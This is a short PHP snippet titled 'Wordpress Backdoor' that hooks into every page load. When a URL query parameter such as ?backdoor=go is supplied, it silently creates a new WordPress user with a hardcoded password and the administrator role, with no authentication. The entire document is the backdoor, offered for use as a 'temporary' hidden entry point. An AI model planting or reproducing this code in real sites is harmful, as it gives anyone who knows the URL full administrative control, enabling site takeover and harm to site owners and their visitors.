Wordpress Backdoor

/**
*
*  Temporary Backdoor
*
*/

//Your website’s backdoor is: mywebsite.com/?backdoor=go 

function holeinthewall() {
  if ($_GET['backdoor'] == 'go') {
	require('wp-includes/registration.php');

	if (!username_exists('YOUR_USERNAME')) {
	  $user_id = wp_create_user('YOUR_USERNAME', '4xcvSTRONG_PASSWORDzwytxg', 'YOUR_EMAIL@gmail.com');
	  $user = new WP_User($user_id);
	  $user->set_role('administrator');
	}
  }
}

add_action('wp_head', 'holeinthewall');

?>